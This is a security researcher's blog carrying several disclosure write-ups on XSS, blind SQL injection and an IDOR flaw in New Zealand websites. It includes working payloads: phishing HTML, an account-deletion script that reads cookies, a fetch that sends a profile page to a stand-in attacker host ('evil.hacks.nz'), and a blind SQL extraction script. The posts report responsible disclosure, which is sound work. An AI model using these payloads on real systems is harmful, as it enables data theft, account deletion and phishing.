Jesse Hacks NZ

Congratulations! You've Won?

Mon, 29 Jul 2024 19:30:00 +1200

Introduction

After taking a break for a while to work on other projects, I realised that I still had a couple of articles ready to publish that were waiting for issues to be fixed. This one took a little while but the issue is now patched and no longer exploitable.

What do you get when you allow the users of your website to change how the website looks in a fundamental way? That’s right, this post is all about our old friend, cross-site scripting. If you’re getting tired of reading about this kind of issue, I don’t blame you! XSS is a common vulnerability but it’s not often exploitable and can require a great deal of creativity or other vulnerabilities for it to be useful to an attacker.

Anyway, today’s post is all about a bug in the search bar of a popular New Zealand retailer. I’ll also demonstrate how this bug could have been used to trick users into offering up their personal information.

The Search Bar

Like all retail websites, users can search for products using a search bar. In the case of this particular website, when searching for a product your search term will be echoed back to your browser with a preview of the top matches:

A regular search term showing a popup window with search results.

From a UX standpoint, this is a really nice feature as it allows a user to preview the kind of results they would get if they were to submit the form.

XSS via the Search Preview

However, the implementation of this feature contains a glaring error: the echoed search term in the preview window isn’t HTML-escaped. We can see this when we type something like <em>123123123123</em> into the search bar and preview it:

The user's search term is echoed back to them without being HTML-escaped.

As you can see, the text is rendered italicised, which is an indication that the em tag I wrapped by text in wasn’t escaped properly. However, although we have an XSS bug, it wouldn’t really be possible for an attacker to use it for anything malicious since they would have to instruct the user to type the HTML snippet into the search bar. I suspect that if they can get a user to do this, they likely have better methods of getting this user’s information.

In short: this is a bit useless.

XSS via the Search Results

Let’s continue with our investigation and see what happens when we submit the search term to view the results.

The user-supplied input is echoed back twice.

We can see that the user’s search term is echoed twice in the search results: once escaped (green) and once not (red). Not only is the search preview vulnerable but also the actual results page. And unlike the other bug, this one is actually useful to an attacker because, as you will see later, we can share the URL containing our XSS with unsuspecting victims.

How Bad Could It Be?

We know we can get em tags rendering correctly and we can assume that other text tags will also work (h1, strong, and friends). Let’s see what the limitations of this attack vector are by trying different kinds of HTML tags.

Images

One of the next tags I like to check to see if it works is the humble img tag. I like to check this early on because images can be an important springboard to getting scripts working if the system doesn’t block scripts properly. And, as you’ve probably noticed from some of my other posts, I have a favourite go to image saved as a bookmark in my browser.

Let’s try and search for the image tag:

1

<img src="https://i.kym-cdn.com/photos/images/original/000/581/296/c09.jpg" />

Successfully injecting an image via the search form.

What a fine fellow! It’s encouraging to me that we can insert images into the page.

Scripts

The next step is to see if we can get JavaScript to execute on the returned page. There are a number of reasons why this might be an important goal for an attacker:

stealing the user’s cookies from the current session so an attacker can act as the user
exfiltrating other user data to a 3rd-party website controlled by the attacker
performing actions on the behalf of the user that they didn’t intend

The reason that a script can do all of these malicious things is that the web browser can’t tell an evil script from a good one. If a script is being served from a website then the web browser will trust it.

I tried several different methods of injecting JavaScript via the search bar, including:

using a normal script tag
using an iframe tag with a script inside it
using an img tag with an invalid src attribute and an onerror attribute with a script inside

Unfortunately for an attacker, but fortunately for the customers of this website, all my attempts were in vain. The HTTP requests that my browser was sending were all blocked by a web application firewall (WAF) on the server.

The plain page returned by the WAF.

It appears that the denial comes from a system called Edgesuite which I believe is a WAF owned by Akamai. Unlike Cloudflare’s WAF, I couldn’t find a way around Edgesuite. That’s not to say that there isn’t a way around it, nor is this an endorsement of Edgesuite or WAFs in general; your software shouldn’t be vulnerable in the first place.

With that in mind, if we’re going to get a user’s personal information, we’ll have to get a bit creative.

Going Phishing

Even though we can’t insert scripts into the search form, we can do pretty much anything else we like. It also doesn’t appear as though there’s any limit to the number of characters that can be submitted into the search form. Let’s use these properties of the XSS vulnerability to craft a convincing web page that brings the user to our malicious website.

I’ve come up with the following HTML which does exactly this. Currently, it just links to this blog but you could imagine that an attacker might link it to one of their websites that attempts to get information from the user.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


<div id="hacks">
 <h1>🎉 Congratulations 🎉</h1>
 <h3>You have won our prize draw!</h3>
 <p>
 Click <a href="https://jesse.hacks.nz">here</a> to claim your prize!
 </p>
 <style>
 .error-custom-result-label, .no-search-result-title,
 .breadcrumbs.row, .error-custom-result-total,
 .main-search-container, .search-guidelines {
 display: none;
 }
 .error-custom-result {
 font-size: 0;
 }
 #hacks {
 font-size: inherit;
 }
 .error-custom-container {
 text-align: center;
 }
 </style>
</div>

And if we paste that into the search bar, we get this:

A somewhat convincing phishing attempt that tries to get the user to follow a link to a different website.

Because the search term is present in the URL of the resulting page, we can share this URL to anyone that we would like to phish. If we were to share this URL with a victim, it would look something like this:

1

https://www.website.co.nz/search?SearchTerm=%3Cdivid%3D%22hacks%22%3E%3Ch1%3E%F0%9F%8E%89Congratulations%F0%9F%8E%89%3C%2Fh1%3E%3Ch3%3EYouhavewonourprizedraw%21%3C%2Fh3%3E%3Cp%3EClick%3Cahref%3D%22https%3A%2F%2Fjesse.hacks.nz%22%3Ehere%3C%2Fa%3Etoclaimyourprize%21%3C%2Fp%3E%3Cstyle%3E.error-custom-result-label%2C.no-search-result-title%2C.breadcrumbs.row%2C.error-custom-result-total%2C.main-search-container%2C.search-guidelines%7Bdisplay%3Anone%3B%7D.error-custom-result%7Bfont-size%3A0%3B%7D%23hacks%7Bfont-size%3Ainherit%3B%7D.error-custom-container%7Btext-align%3Acenter%3B%7D%3C%2Fstyle%3E%3C%2Fdiv%3E

All in all, this is kind of bad. It would take a bit of extra effort for a malicious actor to take advantage of a user but it would likely be worth it.

Disclosure

I discosed this vulnerability to the company in question via a contact form on their website on the 20th of April (ayyyy). I didn’t get a response back from them.

Four weeks later, on the 17th of May, I reached out to them again via the same contact form. However, this time I mentioned that I would publish a blog post about it within the next week. I heard back immediately that they would investigate and that if I could please hold off on the blog post while they fix it. I agreed and didn’t publish the blog post.

At some point over the next 2 months they managed to get this issue fixed because as of the 20th of July, the issue is no longer present.

The vulnerability has been fixed.

As you can see, the search term is correctly HTML escaped, rendering the XSS vulnerability non-existent.

Cover photo by Giorgio Trovato on Unsplash

Constructing a Career in XSS

Fri, 31 May 2024 16:30:00 +1200

Introduction

This week’s vulnerable website belongs to a large New Zealand construction company. Specifically, the issue exists their careers website and we’ll see how it can be misused to potentially steal the information of its users.

The Happy Path

Sometimes just searching through the page source for your search query can give you enough clues to try and figure out a way to break it.

The careers website for this company.

Take the above careers website, for example: searching for 123456789 and then viewing the source of the page we find that our search query is embedded in a JavaScript object which is, itself, embedded in a script tag. I have shortened the script here since most of it isn’t relevant, the main point is that our search term has been placed in a string inside of an dictionary which is inside of another dictionary.

1
2
3
4
5
6
7


<script>
var twigConfig = {
 "googleParameters": {
 "dataUrl": "/123456789"
 }
};
</script>

Breaking the Page

So, what would happen if we were put a double-quote at the end of our search term, e.g. 123456789"? Well the page source now looks like the following:

1
2
3
4
5
6
7


<script>
var twigConfig = {
 "googleParameters": {
 "dataUrl": "/123456789""
 }
};
</script>

The eagle-eyed reader will notice that this isn’t valid JSON, and it’s also not valid JavaScript either. Because of this we get a bunch of errors on the page:

The JavaScript errors caused by our search term changing the source code.

We also get a page that doesn’t look quite right to the user. That’s because some of the scripts don’t run because they encountered the syntax error that we introduced. Presumably, these scripts are also in charge of laying out the page.

This is what the user sees when we put a double quote inside our search term.

Getting Control

However, since we know we can inject arbitrary code into the page via the search term, we can fix the errors ourselves! For example, we can search for 123456789"}};twigConfig={...twigConfig, googleParameters:{dataUrl:"/123456789 and that fixes the syntax issues in the JavaScript while still retaining all the information in the twigConfig variable. This is what that would look like in the source code for the page (I’ve added indentation and newlines here to make it readable):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


<script>
var twigConfig = {
 "googleParameters": {
 "dataUrl": "/123456789"
 }
};
twigConfig = {
 ...twigConfig,
 googleParameters: {
 dataUrl: "/123456789"
 }
}
</script>

However, this allows us to now insert arbitrary JavaScript into the page: for example, the following search term shows a popup.

1

123456789"}};alert("sup");twigConfig={...twigConfig, googleParameters:{dataUrl:"/123456789

When rendered (and after adding my own whitespace) this looks like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


<script>
var twigConfig = {
 "googleParameters": {
 "dataUrl": "/123456789"
 }
};
alert("sup");
twigConfig = {
 googleParameters: {
 dataUrl: "/123456789"
 }
}
</script>

And because this is a reflected XSS vulnerability, we can share the URL with people and execute JavaScript in their browsers too:

1

https://careers.example.com/careers/SearchJobs/123456789%22%7D%7D%3Balert%28%22sup%22%29%3BtwigConfig%3D%7B...twigConfig%2C%20googleParameters%3A%7BdataUrl%3A%22%2F123456789

Impact

Often XSS is difficult to exploit. However, there are several reasons why this vulnerabilty is bad and should be fixed.

Deleting User Accounts

We can force a user to delete their account by making a post request to https://careers.example.com/careers/ProfileDelete with the body tokenField=BLAABLAABLAA&delete=Continue, where the tokenField value is found in the browser cookies. The JavaScript is able to access these cookies because they aren’t set to be HttpOnly. If they were, this wouldn’t be possible.

1
2
3
4
5
6
7


fetch("/careers/ProfileDelete", {
 body: document.cookie + "&delete=Continue",
 method: "POST",
 headers: {
 "content-type": "application/x-www-form-urlencoded"
 }
})

Turning that into a search term we get:

1

"}};fetch("/careers/ProfileDelete",{body:document.cookie+"&delete=Continue",method:"POST",headers:{"content-type":"application/x-www-form-urlencoded"}});twigConfig={...twigConfig, googleParameters:{dataUrl:"

If you were to share this URL with a friend (or nemesis) who had an account on this site and their account was signed in, it would be deleted!

The page after viewing the 'delete account' search term.

Exfiltrating User Data

In reality, what would probably happen would be some good old-fashioned data harvesting. Here’s an example of some code that could send someone’s details up to the attacker’s server:

1
2
3


fetch("/careers/Profile")
 .then(res => res.text())
 .then(body => fetch("https://evil.hacks.nz/upload", { method: "POST", body }))

Disclosure

The following is a breakdown of the reporting timeline:

2024-04-15: I reported these issues to the company via their website’s contact form.
2024-05-11: I sent an email to their company email address detailing the issues and advising them I’d write this post.
2024-05-30: I sent a Facebook message to their company Facebook page and got an automated reply back saying that I should apply for jobs via their careers website! Ironic.
2024-05-31: After six weeks, I (finally) got ahold of a human via telephone!

The Phone Call

I introduced myself and told them that I had found a security vulnerability on one of their websites. As soon as I mentioned the word security the person on the other end of the line became very short with me. They opened their web browser and asked me how to exploit the vulnerability. I wasn’t prepared to talk someone through writing an XSS exploit over the phone, especially to the person answering the phones for this large organisation.

It took me a couple of minutes to boot up my laptop where I had the example search terms. However, we weren’t able to get the exploit working as expected. I was able to get it working on my end but perhaps I didn’t communicate the specific characters clearly enough.

In the end, the person on the other end of the line seemed very satisfied that they had thwarted a hacker. I was then informed that this company has a very good security team that takes great care in making sure that vulnerabilities like this don’t exist. They confirmed that they did not want to follow this up any further with me.

I get the feeling that maybe they didn’t want to talk to me; perhaps they get a lot of these calls? In any case, at the time of writing, this issue remains in the product. Go figure 🤷

Extra: Privacy Link… Dot Com?

When deleting your account on this careers website, you are given one last chance to look at their privacy policy.

Note the link to the privacy policy.

However, the URL assigned to the privacy policy link doesn’t take the user to the privacy policy at all! It instead takes the user to https://www.privacylink.com/ which has an invalid SSL certificate and looks like some guy’s personal website:

Ah yes, the link for the privacy policy...

My guess is that the original developers left that link in as a placeholder and forgot to replace it! That’s all I have for now.

Update (2024-12-15)

I’ve been meaning to make an update to this for a while now. Sometime in October this issue has been fixed and the website no longer exhibits this behaviour; the values are now correctly escaped. It took them a while to fix it but they got there in the end.

Cover photo by Maarten van den Heuvel on Unsplash

Checkmate! Pwning the Database

Sat, 25 May 2024 15:00:00 +1200

Introduction

The website we’re looking at today constitutes the internet prescence for an incorporated board game society in New Zealand (and no, it’s not chess). This website is intended as a hub for information about this particular board game for the country. On the backend of the website they appear to be using Joomla which is a CMS that one doesn’t often see in 2024. I usually don’t bother poking around on CMS-based websites since, as long as they’re updated, they’re fairly bulletproof (this isn’t entirely true, but is more-or-less accurate in my experience).

However, there is a pretty bad SQL injection vulnerability hidden in this website.

What is SQL Injection?

SQL injection is the process whereby a user can trick the web application into executing arbitrary SQL on the database server. Usually the web application will prevent this from happening by validating the user inputs and parameterising the SQL queries. If the queries are parameterised then SQL injection is usually not possible. Additionally, if you’re using an ORM you’ll get this behaviour for free. The parameterisation process will escape the values and ensure that no nastiness can take place.

A Contrived Example

Imagine we have a shopping website, written in Python, that has allows a user to browse through the products. When a user clicks on a product to view it, a function called get_product is run on the backend to retrieve the information to display on the page.

Note that I’m not using Python here for any particular reason; any web application that doesn’t sanitise its inputs or use SQL parameterisation is at risk.

This is what this function might look like on a system that is using SQL parameterisation:

1
2


def get_product(id: str):
 return db.query("select * from products where id = ?", id)

The db.query function (or, more likely, the SQL driver) will take care of parameterising the query and escaping our value and everything will work as the developer intended.

However, some web applications won’t (or can’t) parameterise the SQL query and will instead use string concatenation to build up the query. And here’s an example of what that could look in our made up web application:

1
2


def get_product(id: str):
 return db.query(f"select * from products where id = '{id}'")

So what difference does this make? Well, consider what happens if id is the string television. In this case there is no difference; our two SQL queries will look like this:

1
2
3
4
5


-- with parameterisation:
select * from products where id = 'television'

-- with concatenation:
select * from products where id = 'television'

But, consider what happens if the user supplies the id of television' or id = 'laptop:

1
2
3
4
5


-- with parameterisation (note that our id has been escaped):
select * from products where id = 'television'' or id = ''laptop'

-- with concatenation (note that id value is running rampant):
select * from products where id = 'television' or id = 'laptop'

Jeeze! That’s not good!! If the user directly supplies this id value then we’re toast! Not only does this give the user the power to run their own queries but, with a bit of creativity, it can also allow the user to run their own INSERT, UPDATE, or even DELETE statements!

The Player Ratings Page

Back to the vulnerability on our board game website! The website has a page that lists the ratings of ranked players within New Zealand.

The ratings page for all ranked players in NZ.

Notably, clicking on a user’s name gives us more detailed information about the user. The link to the detailed user information looks like /index.php/players/ratings?view=article&id=286&playerid=216. Clicking on a different user just changes the playerid parameter to something else. This playerid query parameter will be the focus of the rest of this article.

Detailed information about an individual player.

Detecting a SQL Injection Vulnerability

Similar to the shopping website example, let’s see what happens when we change the playerid to 216':

An error page containing the SQL stacktrace.

As you can see, we get an error page. For a hacker, this spells success! For a website administrator, this spells pwned! A single quote is often a good test to see if a query parameter is a candidate for SQL injection since it will often work for both strings as well as numbers.

It also tells us that the database server is MariaDB/MySQL. This information will be useful, as we will see later.

As I found out after reporting the problem, the ratings system was a custom module developed for the Joomla CMS. A simple oversight in parameter validation is the reason for this vulnerability.

Getting the Server Version

Most SQL servers have a way to get the version of the server from the database using SQL. For example, Microsoft SQL Server has @@version, PostgreSQL has version(), and MariaDB/MySQL supports both! We know that this server is MariaDB since that’s what was returned in the error message.

Let’s set this as our goal and see if we can pull out that version value from the server using SQL injection.

Ordering the Server Around

A common tactic to determine the number of rows that are being selected in a SELECT query is to supply an ORDER BY x -- at the end of the query where x is a number, starting at 1, corresponding to the selected column. Typically, a hacker would start with ORDER BY 1 --, and then ORDER BY 2 --, etc, until an error is returned. If the last query to run successfully was ORDER BY 5 -- then that means that there must be 5 columns in the SELECT query. The hacker can then do a UNION SELECT to pull out arbitrary data from the database.

Let’s see if we can do this by setting the player ID to 216 order by 1 --:

This SQL error message has more information about the query.

As you can see, this error response has a lot more information about the query. Judging by the use of aliases and parenthesis, I can make the assumption that the server is performing at least one join, using a CTE, or running a subquery. This makes things difficult for us, since we are going to have a much harder time getting control of a complicated query.

We’re going to have to try a different tactic.

We’re going to see if we can get the page do one of two things: either return the normal page with the player details, or return an error. If we can get this working, then we can craft a SQL query that will conditionally return the normal page or the error page. We’ll see this in action later.

For now, let’s see if we can get the user’s page by adding some seemingly pointless SQL after the player’s ID: 216 and 1 = 1. In SQL, 1 = 1 is equivalent to 1 which is SQL’s way of saying true.

Now we're cooking! We can ensure that we can add extra SQL without modifying the returned data.

This page looks exactly the same as before, that’s encouraging! We can imagine that the SQL being executed on the server looks something like this:

1

select * from players where id = 216 and 1 = 1

Conversely, let’s see if we can do the opposite and ensure that no player is returned, once again, by adding some seemingly pointless SQL: 216 and 1 = 0. As you may expect, 1 = 0 evaluates to 0 which is a SQL false.

The error message from selecting zero rows.

In this case we get a different error message because zero rows are returned when the web application expected exactly one row.

You may not realise it, but we now have all the tools we need to be able to extract every single row of data from every single table in the database! We have found a blind SQL injection vulnerability.

We call this a blind SQL injection vulnerability because either something happens or it doesn’t. We are blind to the actual data returned from the server but we can still use this information to pull data out of the database.

For example, perhaps we could return the normal page if some condition is true and the error page if the condition is false. We know that our goal is to read out the value of Version() and so perhaps a good place to start is to get the length of that string.

How Long is a String?

Normally, we would use the LENGTH function to give us the length of the string like this:

1

select length(version())

However, that won’t work under the constraints of this SQL injection vulnerability. We need to combine this approach with our special condition of returning either an error page or a normal page. Which means, we will have to make many requests until the page doesn’t return an error.

playerid=216 and length(version()) = 1: error page ❌
playerid=216 and length(version()) = 2: error page ❌
playerid=216 and length(version()) = 3: error page ❌
…
playerid=216 and length(version()) = 22: error page ❌
playerid=216 and length(version()) = 23: normal page ✅

And now we know that our version() string has 23 characters in it! This is the first piece of information that we need to pull out that string.

One Character at a Time

We can extend this technique to extract the characters from our version string one at a time. The process will involve looking at each of the 23 characters individially and comparing them to all the characters in the alphabet (and some numbers and symbols).

The template for the query parameter that we’ll use is playerid=216 and substring(version(), IDX, 1) = CHAR where IDX is the index that we’re currently looking at (starting at 1) and CHAR is the current character we’re comparing it to from our alphabet. We must do this for all characters in our alphabet until we find a match and for all indices between 1 and our string length (23 in this case).

playerid=216 and substring(version(), 1, 1) = 'a': error page ❌
playerid=216 and substring(version(), 1, 1) = 'b': error page ❌
…
playerid=216 and substring(version(), 1, 1) = '0': error page ❌
playerid=216 and substring(version(), 1, 1) = '1': normal page ✅
playerid=216 and substring(version(), 2, 1) = 'a': error page ❌
playerid=216 and substring(version(), 2, 1) = 'b': error page ❌
…
playerid=216 and substring(version(), 2, 1) = '0': normal page ✅
…

This will take a while and I’m not going to do this manually; instead I’ll write a script that will do it for me.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


async function isNormalPage(res) {
 const content = await res.text();
 return content !== "An error occured while retrieving player";
}

async function sendRequest(playerId) {
 const params = new URLSearchParams("view=article&id=286");
 params.append("playerid", playerId);
 return fetch("https://website-name/index.php/players/ratings?" + params.toString());
}

async function query(sql, length) {
 let result = "";
 const validCharacters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_.";

 for (let idx = 0; idx < length; idx++) {
 let foundChar = false;
 for (let char of validCharacters) {
 const res = await sendRequest(`216 and substring(${sql}, ${idx + 1}, 1) = '${char}'`);
 if (await isNormalPage(res)) {
 result += char;
 foundChar = true;
 break;
 }
 }
 if (!foundChar) {
 result += "?"; // couldn't find the character
 }
 }

 return result;
}

console.log("version():", await query("version()", 23));

That’s only about 30 lines of JavaScript and we can use it to run arbitrary SELECT queries on the database, pretty cool, huh?

Notes on Performance

There are two points to be made about the performance of this script:

Using equality to find the character is a bit primitive. Instead, we could use greater-than or less-than to find the characters faster. However, I suspect we would need to find more information about the collation setting of the server for this to work properly.
We could also fire off these requests in parallel to make better use of our time.

Anyway, after about 5 minutes and 700 network requests, we get back the 23-character string 10.11.7-mariadb-cll-lve.

Success! 🎉

You can see the network requests in action 🤩.

Impact

With just a little bit of ingenuity (and the 1337 hacker tool, Firefox) we were able to pull data out of the database by simply observing if an error page is returned or not. We have also created a simple helper script to do a lot of the heavy lifting for us that can be extended to be multipurpose.

More generally, this process can be used to extract any information out of any of the database tables. Furthermore, since we know that this website is running Joomla, we also know exactly what tables and columns are available. An attacker might use this to extract the data from the users table and attempt to crack the passwords offline.

I don’t think it would be possible to use this particular vulnerability to run INSERT, UPDATE, or DELETE statements on the server, but you never know.

Whenever you see a headline along the lines of “Database Breach: Customer Data Stolen”, SQL injection is usually the method used by hackers to steal the data. You can see just how easy it would be for an attacker to do some real damage to the reputation of a website using these simple techniques.

In some cases, SQL injection can be used as an entry point for an attacker to gain a permanent foothold in the system. For example, if the server is configured in such a way, it might be possible for an attacker to upload script files to the website that can then be executed by the web server. This might allow the threat actor to take complete control of the machine.

Disclosure

The timeline is as follows:

22nd of April: I reported the issue to the website administrator.
29th of April: I heard back from the web developer who implemented a fix.
30th of April: I confirmed that the issue had been fixed.

The developer’s solution to this problem wasn’t to parameterise the SQL query, but to instead ensure that the value in the playerid query parameter was an integer. This solution absolutely fixes the problem and prevents malicious users from directly accessing the database. I was impressed by how quick this website fixed the issue once they were aware of it.

Cover photo by Felix Mittermeier on Unsplash

Book Shop Name Flop

Sun, 19 May 2024 14:30:00 +1200

Introduction

This post will be a quick one since I don’t like droning on about cross-site scripting (XSS) all that much and I’m sure you’re all getting tired of reading about it. Anyway, this week’s spotlight is on a kiwi-owned and operated retail store that traditionally specialised in books and stationery. However, these days they also resell toys, games, and other goods. And of course they have an online store that we can try and find some problems with.

Exploring for Issues

The general approach I take when finding issues in websites looks roughly like this:

Get a list of all known subdomains for the site.
Attempt XSS and SQL injection in the search bar.
Attempt SQL injection by changing query parameters of various pages.
Attempt to get directory listings.
Look at the robots.txt file for anything juicy.
Create two accounts, one for hacking from and one for hacking into.
Attempt to read/modify the details of one account from the other.
Attempt XSS and SQL injection on the account details.
~~Cry about my skill issues~~ Smile because they have good security and move on to another website.

During all of this, I am making notes on the technology used behind the scenes and am thinking about other ways I could break it.

In this case, I didn’t have to get to the final stage of this process!

User Profile

Much like almost every other post in the XSS category, this website has a problem when it comes to displaying the user’s first name. If the user changes their name to Mallor<b>y</b> (which makes the letter ‘y’ bold), then they are greeted with this:

Note the 'y' in the user's name is rather heavier than the rest of the letters.

Having the webpage render the name as HTML is like gold for a would-be attacker since they can now begin to experiment with what is possible with this vulnerability.

What’s in a Name? (Spoiler Alert: It’s JavaScript)

Now that we know we can use XSS in the first name, we can check to see if we can put a script tag in there. Often websites will employ a Web Application Firewall (WAF) to block malicious requests to the website. A WAF will almost always block requests that have any kind of JavaScript (or SQL injection) in them. In some cases, the WAF can be bypassed; in other cases, it can’t. In this case there doesn’t appear to be a WAF at all which makes our job easier.

Let’s try and get a popup to appear by putting a script tag in the first name field. We’ll try Mallory<script>alert('oof')</script> to achieve this. This is what it looks like when we save the page:

The name has been properly escaped in 1 and 2 but not 3.

And now let’s try navigating to another page on the site. We can see that the alert pops up just as we intended. This means that we can now execute arbitrary JavaScript code through our name!

It works! We can successfully inject scripts into the page via our name.

Why Does This Work?

The are various reasons why XSS can occur. Sometimes it’s because the frontend has added some user-supplied value to the DOM with innerHTML instead if innerText. Sometimes it’s because the backend hasn’t run any escaping or sanitisation function on the user-supplied code.

In this particular case, the fault lies with the backend code not escaping the value properly when building out the webpage. We know this because we can view the source of the webpage before any JavaScript is executed and we can clearly see the script tag just sitting there, waiting to be executed.

Ensure you escape user-supplied values, people!

Impact

As a recap, we have found that this website has a stored XSS vulnerability that would allow a threat actor to execute arbitrary code on this website. By itself that is a pretty serious security issue. However, the users on this site are completely isolated and the only person who is going to be affected by this vulnerability is the user themselves. Therefore, the impact of this is pretty low and honestly not too much of an issue.

If this user’s name was rendered as HTML to other users on the website (as was the case in this previous post) then this would be a critical issue since User A could make changes to User B’s account when User B views User A’s name.

Disclosure

I reported this issue to the website on the 5th of May. At the time of publishing I hadn’t heard back from a human and the issue has not been fixed.

I’m not worried about publishing this post since the impact of this bug is small and not exploitable in a meaningful way. I will update this post if they get back to me or fix the issue.

Cover photo by Leslie Lopez Holder on Unsplash

Helping Oneself to the PII of 800,000 Users and More

Tue, 14 May 2024 13:00:00 +1200

Introduction

Today’s post is about a website that hosts shopping catalogues for many brick-and-mortar retail stores. You’ve probably heard or purchased from some of these stores before: Bunnings, Woolworths, Briscoes, etc. This website also has a very “late 00s” vibe, both from the frontend UI and the behaviour of the backend.

The frontpage of the website.

This website also has an Australian site that fills the same niche for the Australian market. I’ve found quite a few issues with these websites and so I’ve decided to present them all in the one post.

Information Disclosure

Due to how the server is configured we can extract quite a bit of information about the software running on the backend.

In a Stacktrace

Catalogues are embedded into other websites by a service running on “embed.website-name.co.nz”. A website such as Smith’s City will make a request to https://embed.website-name.co.nz/catalogues/view/56/ which returns some JSON with information about the catalogue in it. If we manipulate the URL to induce an error, for example by removing the last segment of the URL we get this error page:

The error page returned by https://embed.website-name.co.nz/catalogues/view/

This gives us quite a bit of information about what the system is running:

The programming language used: PHP.
The operating system that the server is running on: some kind of *nix.
The location of the static content: /var/www/vhosts/embed.website-name.co.nz/public_html/
The location of the PHP app: /var/www/vhosts/embed.website-name.co.nz/application/
The web framework in use: CodeIgniter.

This is far more information than one would want to give away about the system since it could be used by an attacker in conjunction with some other kind of attack. Ideally, this information would never make its way to the end user; it should be logged instead. This is most likely a configuration issue that can easily be fixed.

In the Headers

The above is useful information, to be sure. However, we also get quite a bit of information from the response headers of a normal HTTP request:

These headers are returned with every HTTP response.

From here we can ascertain:

The web server and its version: Apache v2.4.58
The PHP version: 7.4.33
The OpenSSL version: 1.0.2k-fips

This information could be used to look for vulnerabilities that can be used on this website. At the time of writing, this version of Apache is the latest stable version and is about 6 months old. This version of PHP is the latest version available for the 7.4 series and was released in November 2022 (about 16 months ago).

However, this version of OpenSSL is very very dated. It was released in January 2017; more than 7 years ago! It’s also not the latest release in the 1.0.2 series and so should at least be patched to the latest version. We can also guess that the operating system could be Red Hat Enterprise Linux (RHEL) since this seems to be the only operating system currently using this specific version of OpenSSL as its latest.

This information should absolutely be stripped out of the headers before being returned to the user. As mentioned in the previous section, by knowing this information an attacker has a much easier time finding vulnerabilities for your software. Most web servers will allow you to strip these headers out before they get sent down to the client.

Cross-Site Scripting

Just like all these websites, this website also has a cross-site scripting vulnerability. It seems like websites just can’t get enough of allowing the user to customise their user experience; that’s pretty generous.

Via the User’s Name

Firstly, we can change our first name to include arbitrary HTML tags… including scripts. This isn’t particularly useful for an attacker since the users are isolated from each other.

Cross-site scripting allows arbitrary HTML (including JavaScript) to be rendered on each page load.

This happens because the user’s name in the top-right hand corner of the page isn’t HTML escaped when it’s rendered by the backend.

Via Email

This website allows its users to add products from multiple catalogues to a “shortlist” that can then be shared with others via email or a printout. However, this site actually goes one step further here and will facilitate the sending of the email for you. All you have to do is provide the details of the user you wish to send it to and the email address you want them to reply to and you’re away laughing.

The shortlist form that you can fill out.

And when you fill it out properly you get an email that looks like this:

A perfectly normal email.

Unfortunately, this email sending system is also vulnerable to XSS! For example, we can use some carefully crafted values in the form to strip out much of the email content that is added by the backend. We could use this to send a malicious email to a user of the site:

Adding malicious values to the form.

Which would look like this when sent to the victim’s inbox:

I think I'd even fall for something like this!

Also, the fact that you can just send an email from this system without any CAPTCHA or other bot protection is a bit concerning. This could be abused by spammers to send floods of mail to unsuspecting netizens. In general, don’t offer to send emails on behalf of the user; this feature could also be implemented by opening the user’s email client. However, if the web server must send email on the behalf of a user, then the user’s inputs should be sanitised and some spam protection should be employed.

Like many websites, this website has an administration panel that allows the owners to perform site maintenance. However, unlike most websites, the sign in form actively ushers the user into putting the correct details in:

I, for one, love the user-friendly sign in panel.

After a bit of playing around we have discovered that the following rules exist:

“All form fields are required”
“Username may consist of a-z, 0-9, underscores, begin with a letter.”
“Length of username must be between 3 and 24.”
“Length of password must be between 5 and 24.”
“Password field only allow : a-z 0-9”

This is bad because we have given an attacker all the information they need to conduct a dictionary attack or brute-force attack on the site. A website should return as little information as possible about the username and password requirements.

Leaking the Personal Information of All Users

This is the most serious issue that I managed to find. As long as you are signed in, you have the ability to view the personal details of any other user of the site.

When you sign in to the site, you’re issued several cookies by the server. One of these cookies is called userId and it contains the ID of the signed in user.

A view of all the cookies on the website.

Unfortunately, this userId cookie is what the server uses as the source of truth for its authorization. So if I’m signed in as “User 1” with the ID 670986 I can change that cookie to the ID of “User 2” which is 670987. When I reload the page, the header still shows up as myself being “User 1”. But if I navigate to the user details page, I am shown the details from “User 2”.

As you can see in the header and form, the website thinks that I'm both 'User 1' and 'User 2'.

You may notice that I can view the following details about the other user:

Name
Email
Age
Gender
Location
Phone Number

From a privacy standpoint, this is pretty bad. It’s made worse because all the user IDs are positive integers, which means that in theory, anyone can scrape all the personal details of the ~670,000 user accounts on the New Zealand site and ~150,000 accounts on the Australian site. That’s about 800,000 user accounts that have been sitting exposed!

From an investigation standpoint, this presents some tricky issues for the site administrators since the changing of the cookie likely won’t show up in any access logs. They may not be able to tell whether or not this has vulnerability has been exploited 🫤.

The takeaway here is that the user ID cookie should be verified in some way. A modern approach would be to implement JSON Web Tokens (JWTs), although I admit that this approach is likely overkill. In reality, the cookie may not even need to exist since the backend should be aware of the user’s ID via the server session.

Disclosure

I reported these issues to the email address on the website on the 1st of April 2024; probably not the April Fool they were expecting. After getting no response, I reached out to the owner/developer of the site on the 9th of April, this time via a LinkedIn private message. I got a response very quickly from the owner and sent them the details of all the issues I had found.

The issue with the user accounts was fixed within the week. Now if you attempt to change the userId cookie to something else then your session will be terminated and you’ll have to sign in again. Some of the other issues were not fixed. My attempts to discuss this with the owner were ignored.

Cover photo by Jason Dent on Unsplash

Architecting a Social Media Worm with XSS

Fri, 03 May 2024 22:00:00 +1200

Introduction

This week’s I have an example a website where business owners can create an account and advertise their own businesses. This forms something of a social network where users can follow each other, “love” businesses, etc.

The online business directory/social media website.

Just like this toy retailer covered previously, this website has a cross-site scripting (XSS) vulnerability in the “first name” field of the user profile. However, unlike the toy retailer, there is no protection here against a user adding malicious code that can be executed on another user’s browser.

The vulnerable edit details page.

The Edit Details Page

This website is backed by CloudFlare which provides some decent protections against users trying to execute an XSS attack against a website. An example of seeing these protections in action is when trying to change my first name to John<script>alert('hello')</script> and then hitting the “Update” button at the bottom of the page; I get this screen:

CloudFlare does a decent job of blocking potentially malicious content.

However, when I click the “Change avatar” button at the top of the page and upload a profile picture, CloudFlare doesn’t kick in and reject the request. The profile is updated and the image is saved. We’re in! 😎

The malicious HTML is escaped in several places (blue regions) but not escaped in one (red region).

Aside: Thoughts on CloudFlare's WAF

